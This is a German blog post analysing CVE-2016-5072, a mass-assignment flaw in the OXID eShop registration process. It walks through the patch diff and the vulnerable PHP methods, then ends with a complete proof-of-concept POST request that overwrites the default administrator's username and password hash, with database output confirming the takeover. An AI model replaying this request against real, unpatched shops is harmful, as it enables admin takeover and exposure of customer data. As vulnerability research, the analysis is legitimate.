Schwachstellenanalyse: CVE-2016-5072
Analyse einer Schwachstelle im OpenSource Shopsystem OXID
Dies ist eine übersetzte Version. Das englische Original finden Sie hier.
Vor kurzem suchte ich nach bekannten Schwachstellen in der OpenSource Shopsoftware “OXID esShop” die sich in Deutschland großer Beliebtheit erfreut. Dabei weckte eine der dort gelisteten Schwachstellen OXID Security Bulletin 2016-001 (CVE-2016-5072), mein Interesse, primär wegen dem als “hoch” eingestuften Schadenspotenzials. Von der Schwachstellenbeschreibung des Herstellers:
An attacker can gain full administrative access to OXID eShop. This includes all shopping cart options, customer data and the database. They also can execute PHP code or inject malicious code into the system and the shop’s storefront. No interaction between the attacker and the victim is necessary.
Im Anhang des offiziellen Advisories veröffentlichten die Entwickler auch eine List von Häufigen Fragen zur Schwachstelle (FAQ). Der folgende Abschnitt machte die Schwachstelle noch interessanter, da sie offensichtlich nicht mit Hilfe gängiger Schwachstellenscanner gefunden werden kann:
Who found this issue?
The issue was found by OXID developers, not a third party. OXID eShop has gone through many security audits in the past, but the issue wasn’t discovered there.
Ich entschloss mich daher die Schwachstelle genauer zu analysieren um zu verstehen wodurch sie verursacht wurde und wie sie von Angreifern ausgenutzt werden könnte.
Grundlagen
Nach dem Lesen des FAQs war es klar dass Angreifer in der Lage sein müssen den bestehenden Datenbankeintrag eines Administrators-Kontos zu ändern. Schauen wir also zunächst kurz die entsprechende Datenbanktabelle “oxusers” an. Diese Tabelle wird für sämtliche OXID Benutzerkonten verwendet also sowohl Shop-Administratoren als auch Kundenkonten. The Spalte “oxid” liefert den Primarykey der Tabelle. Das bei der Installation des Shopsystems angelegte Administratorkonto hat hier die ID “oxdefaultadmin”, weitere Nutzer bekommen eine MD5-Hash als ID, welcher von OXID-internen Methode “generateUID()” abgeleitet wird.
select oxid,oxrights,oxusername from oxuser;
+----------------------------------+-----------+----------------------+
| oxid | oxrights | oxusername |
+----------------------------------+-----------+----------------------+
| oxdefaultadmin | malladmin | info@mogwailabs.de |
| e7af1c3b786fd02906ccd75698f4e6b9 | user | info@oxid-esales.com |
+----------------------------------+-----------+----------------------+
2 rows in set (0.00 sec)
PHP Arrays 101
Um verstehen zu können wie die Schwachstelle ausgenutzt werden kann, ist ein gewisses Hintergrundwissen über PHP Arrays notwendig. Wir schauen uns hier kurz die notwendigen Grundlagen an.
Wie die meisten Programmiersprachen bietet PHP direkte Unterstützung für Arrays. In PHP ist ein Array eigentlich eine “geordnete” Map, was wiederum ein “Schlüssel-/Wertespeicher ist”. Mit dem Schlüssel (kann ein Integer oder ein String sein) kann man auf den entsprechenden Wert innerhalb des Arrays zugreifen. Der folgende Code ist ein einfaches Beispiel wie man in PHP Arrays erstellt und darauf zugreift.
<?php
// Define a new array my_array
$my_array = array(
"key1" => "value1",
"key2" => "value2",
"key3" => "value3",
);
// Accessing array values
print ("Key: key1, value: " . $my_array['key1'] . "\n");
// Adding additional values to the existing array
$my_array['new_value'] = "super new value";
// Accessing the added value:
print ("Key: new_value, value: " . $my_array['new_value'] . "\n");
// Create a second array, using integers as keys
$my_int_array = array(
0 => 'int value 0',
1 => 'int value 1',
2 => 'int value 3',
);
// It is possible to store arrays in arrays
$my_array['array_value'] = $my_int_array;
// Accessing arrays in arrays
print ("Accessing arrays in arrays: " .$my_array['array_value'][1] ."\n\n");
?>
Hier die Ausgabe des Codes
php arraytest.php
Key: key1, value: value1
Key: new_value, value: super new value
Accessing arrays in arrays: int value 1
PHP bietet eine interessante Möglichkeit Arrays in HTTP Anfragen zu übergeben, ein Feature das auch häufig von Webframeworks verwendet wird. Hier ein einfaches Beispiel, das Array kann dabei als URL-Parameter, POST-Body oder Cookie-Wert übergeben werden:
print("my_array['key1'] = " .$_REQUEST['my_array']['key1'] . "<br/>");
print("my_array['key2'] = " .$_REQUEST['my_array']['key2'] . "<br/>");
Das Array “my_array” kann wie folgt an das Script übergeben werden
http://10.165.188.125/array_test.php?my_array[key1]=test&my_array[key2]=bla
Der folgende Screenshot zeigt die Registrierung eines neuen Kundenkontos beim OXID Webshop. Wie man sieht beinhaltet der Parameter “invadr” ein PHP Arrary, welches per POST Request an die Applikation übergeben wird. Diese Variable wird noch für das Verständnis der Schwachstelle wichtig.
Schwachstellenanalyse
Beim Lesen der Schwachstelle sowie der ebenfalls veröffentlichten Mod-Security Regeln wird klar, dass sich die Schwachstelle im Registrierungsprozess für neue Benutzerkonten finden muss. Die einfachste Möglichkeit die Schwachstellenursache zu analysieren stellt eine Analyse der im Patch eingeführten Änderung dar. Hierzu kann die letzte verwundbare Version mit der neuesten Version verglichen werden.
Der Patch führt zwei zusätzliche Methoden ein: “cleanDeliveryAddress” und “cleanBillingAddress”. Beide Methoden werden von “createUser()” in der Klasse “oxcmp_user” aufgerufen:
$sPassword2 = oxConfig::getParameter( 'lgn_pwd2', true );
$aInvAdress = oxConfig::getParameter( 'invadr', true );
$aInvAdress = $this->cleanBillingAddress($aInvAdress);
$aDelAdress = $this->_getDelAddressData();
$aDelAdress = $this->cleanDeliveryAddress($aDelAdress);
$oUser = oxNew( 'oxuser' );
Der Code der beiden neuen Methoden ist sehr ähnlich. Hier der Code von “cleanDeliveryAddress”:
/**
* Removes sensitive fields from billing address data.
*
* @param array $aBillingAddress
*
* @return array
*/
private function cleanBillingAddress($aBillingAddress)
{
if (is_array($aBillingAddress)) {
$skipFields = array('oxuser__oxid', 'oxid', 'oxuser__oxpoints', 'oxpoints', 'oxuser__oxboni', 'oxboni');
$aBillingAddress = array_change_key_case($aBillingAddress);
$aBillingAddress = array_diff_key($aBillingAddress, array_flip($skipFields));
}
return $aBillingAddress;
}
Der Code prüft ob die übergebenen Rechnungsadresse ein PHP Array ist. Sollte dies der Fall sein werden Einträge mit bestimmten Feldern wie “oxuser__oxid”. Daher stellt sich die Frage wie die Rechnungsadresse (Variable “$invadr”) während des Registrierungsprozesses verwendet?
Anmerkung:
Die folgenden Codebeispiele stammen von meiner Testinstallation (Version oxideshop_ce-sync-p-5.2-ce-176), andere Versionen könnten minimal anders sein.
Der Wert wird zunächst an zwei Methoden der oXUser Klasse übergeben, der Patch enthält jedoch keine Änderung dieser Funktionen:
- checkValues der Klasse oxuser (Zeile: 449)
- changeUserData der Klasse oxuser (Zeile: 463)
Wie der Name “checkValues” ahnen lässt, führt die Methode eine Reihe von allgemeinen Validierungen der übergebenen Werte durch und wirft im Falle einer fehlgeschlagenen Validierung eine Ausnahme.
/**
* Performs bunch of checks if user profile data is correct; on any
* error exception is thrown
*
* @param string $sLogin user login name
* @param string $sPassword user password
* @param string $sPassword2 user password to compare
* @param array $aInvAddress array of user profile data
* @param array $aDelAddress array of user profile data
*
* @todo currently this method calls oxUser class methods responsible for
* input validation. In next major release these should be replaced by direct
* oxInputValidation calls
*
* @throws oxUserException, oxInputException
*/
public function checkValues($sLogin, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
/** @var oxInputValidator $oInputValidator */
$oInputValidator = oxRegistry::get('oxInputValidator');
// 1. checking user name
$sLogin = $oInputValidator->checkLogin($this, $sLogin, $aInvAddress);
// 2. checking email
$oInputValidator->checkEmail($this, $sLogin, $aInvAddress);
// 3. password
$oInputValidator->checkPassword($this, $sPassword, $sPassword2, ((int) oxRegistry::getConfig()->getRequestParameter('option') == 3));
// 4. required fields
$oInputValidator->checkRequiredFields($this, $aInvAddress, $aDelAddress);
// 5. country check
$oInputValidator->checkCountries($this, $aInvAddress, $aDelAddress);
// 6. vat id check.
$oInputValidator->checkVatId($this, $aInvAddress);
// throwing first validation error
if ($oError = oxRegistry::get("oxInputValidator")->getFirstValidationError()) {
throw $oError;
}
}
Die Methode “changeUserData” sieht vielversprechender aus. Der Code ruft erneut “checkValues” auf und übergibt dann das “$aInvAddress” Array an die “assign” Methode:
/**
* When changing/updating user information in frontend this method validates user
* input. If data is fine - automatically assigns this values. Additionally calls
* methods (oxuser::_setAutoGroups, oxuser::setNewsSubscription) to perform automatic
* groups assignment and returns newsletter subscription status. If some action
* fails - exception is thrown.
*
* @param string $sUser user login name
* @param string $sPassword user password
* @param string $sPassword2 user confirmation password
* @param array $aInvAddress user billing address
* @param array $aDelAddress delivery address
*
* @throws oxUserException, oxInputException, oxConnectionException
*/
public function changeUserData($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
// validating values before saving. If validation fails - exception is thrown
$this->checkValues($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress);
// input data is fine - lets save updated user info
$this->assign($aInvAddress);
// update old or add new delivery address
$this->_assignAddress($aDelAddress);
// saving new values
if ($this->save()) {
// assigning automatically to specific groups
$sCountryId = isset($aInvAddress['oxuser__oxcountryid']) ? $aInvAddress['oxuser__oxcountryid'] : '';
$this->_setAutoGroups($sCountryId);
}
}
Die “oxBase:assign” Methode (Code weiter unten) durchläuft das Array per Schleife und aktualisiert jedes Datenbankfeld durch einen Aufruf der privaten Methode “setFieldData”. Das ist gefährlich, da sowohl die Schlüssel, als auch die Werte von Angreifern kontrolliert werden können. Dies erlaubt das Überschreiben beliebiger Felder eines Benutzerobjektes, nicht nur der Adresse
Im Grunde handelt es sich um eine so genannte “Mass Assignment” Schwachstelle wie sie beispielsweise häufig in älteren Ruby on Rails Anwendungen gefunden werden kann.
/**
* Assigns DB field values to object fields. Returns true on success.
*
* @param array $dbRecord Associative data values array
*
* @return null
*/
public function assign( $dbRecord )
{
if ( !is_array( $dbRecord ) ) {
return;
}
reset($dbRecord );
while ( list( $sName, $sValue ) = each( $dbRecord ) ) {
// patch for IIS
//TODO: test it on IIS do we still need it
//if( is_array($value) && count( $value) == 1)
// $value = current( $value);
$this->_setFieldData( $sName, $sValue );
}
$sOxidField = $this->_getFieldLongName( 'oxid' );
$this->_sOXID = $this->$sOxidField->value;
}
Durch das Setzen zusätzlicher Felder im “invadr” Arrays können wir beim Anlegen eines neuen Benutzerkontos beliebige Felder ein einem “OXUser” Datenbankeintrag überschreiben. Dabei sind wir nicht auf unser eigenes Benutzerkonto beschränkt, wir können auch die Werte anderer Benutzer überschreiben, solange wir deren Primarykey (“oxid”) kennen.
Das erste Ziel das einem hier in den Sinn kommt ist das bei der Installation angelegte Administrationskonto da dessen “oxid” immer “oxdefaultadmin” lautet. Durch das Überschreiben bestimmter Eigenschaften dieses Accounts (beispielsweise des Benutzernamens und Passworthashes) sind Angreifer in der Lage diesen Account zu komproomittieren und Zugriff auf das Admin-Backend des OXID Shopsystems zu erhalten.
Praktisches Ausnutzen der Schwachstelle
Das folgende HTTP Request zeigt die eigentliche Ausnutzung der Schwachstelle. Wir erstellen einen neuen Account und fügen ein zusätzliches “invadr” Array. Hierdurch können wir die Email-Adresse des “Administratorkontos überschreiben.
Unglücklicherweise scheint das nicht zu funktionieren. Es sieht aus als ob OXID sich über unser Passwort beschwert:
Die Gründe für diesen Fehler sind die Validierungsfunktionen in der “checkValues” Methode. Der Fehler wird durch die Methode in “checkLogin()” verursacht, welche wiederum von “checkValues()” aufgerufen wurde. Bei einer genaueren Analyse stellt man fest das der Code diese Funktion mehr macht “als nur” die Email Adresse zu checken. Es ist eher so, dass den “Fehler”, den wir hier ausnutzen wollen eigentlich ein Feature von OXID ist. Das ist der Grund warum die neu hinzugefügte Cleanup-Funktion auch nicht für “oxuser__username” oder “oxuser__oxpassword” prüft.
public function checkLogin($oUser, $sLogin, $aInvAddress)
{
$sLogin = (isset($aInvAddress['oxuser__oxusername'])) ? $aInvAddress['oxuser__oxusername'] : $sLogin;
// check only for users with password during registration
// if user wants to change user name - we must check if passwords are ok before changing
if ($oUser->oxuser__oxpassword->value && $sLogin != $oUser->oxuser__oxusername->value) {
// on this case password must be taken directly from request
$sNewPass = (isset($aInvAddress['oxuser__oxpassword']) && $aInvAddress['oxuser__oxpassword']) ? $aInvAddress['oxuser__oxpassword'] : oxRegistry::getConfig()->getRequestParameter('user_password');
if (!$sNewPass) {
// 1. user forgot to enter password
$oEx = oxNew('oxInputException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_INPUT_NOTALLFIELDS'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
} else {
// 2. entered wrong password
if (!$oUser->isSamePassword($sNewPass)) {
$oEx = oxNew('oxUserException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_PASSWORD_DO_NOT_MATCH'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
}
}
}
if ($oUser->checkIfEmailExists($sLogin)) {
//if exists then we do now allow to do that
$oEx = oxNew('oxUserException');
$oEx->setMessage(sprintf(oxRegistry::getLang()->translateString('ERROR_MESSAGE_USER_USEREXISTS'), $sLogin));
return $this->_addValidationError("oxuser__oxusername", $oEx);
}
return $sLogin;
}
Da wir in unser “invAdr” Array einen Wert für das Feld “oxuser_oxusername” eingetragen haben müssen wir auch ein Passwort (Arrayfeld “oxuser_password”). Der Wert dieses Feldes wird dann gegen den HTTP Request Parameter “user_password” abgeglichen, welchen wir aber ebenfalls angeben können. Wir müssen also nur schauen, das sämtliche “Passwortfelder” in der HTTP Anfragen den gleichen Hashwert beinhalten.
Ums kurz zu machen, wir können den Benutzernamen sowie den Passworthash des Standardadministrators übersetzten. Das folgende Beispiel ändert den Benutzernamen des Benutzerkontos zu “hacked@mogwailabs.de” und dem Passwort “hacked456”.
POST /index.php?lang=1& HTTP/1.1
Host: 10.165.188.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1526
Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid
Connection: close
Upgrade-Insecure-Requests: 1
stoken=98BFFD11&lang=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername]=hacked@mogwailabs.de&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb
Man kann dies durch eine manuelle Abfrage der Datenbank prüfen. Natürlich kann man auch einfach versuchen sich mit dem “neuen” Account am OXID Backend ("/admin”) anzumelden.
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin';
+----------------+----------------------+
| oxid | oxusername |
+----------------+----------------------+
| oxdefaultadmin | hacked@mogwailabs.de |
+----------------+----------------------+
1 row in set (0.00 sec)
Danke an Mike Petrucci auf Unsplash für das Titelbild.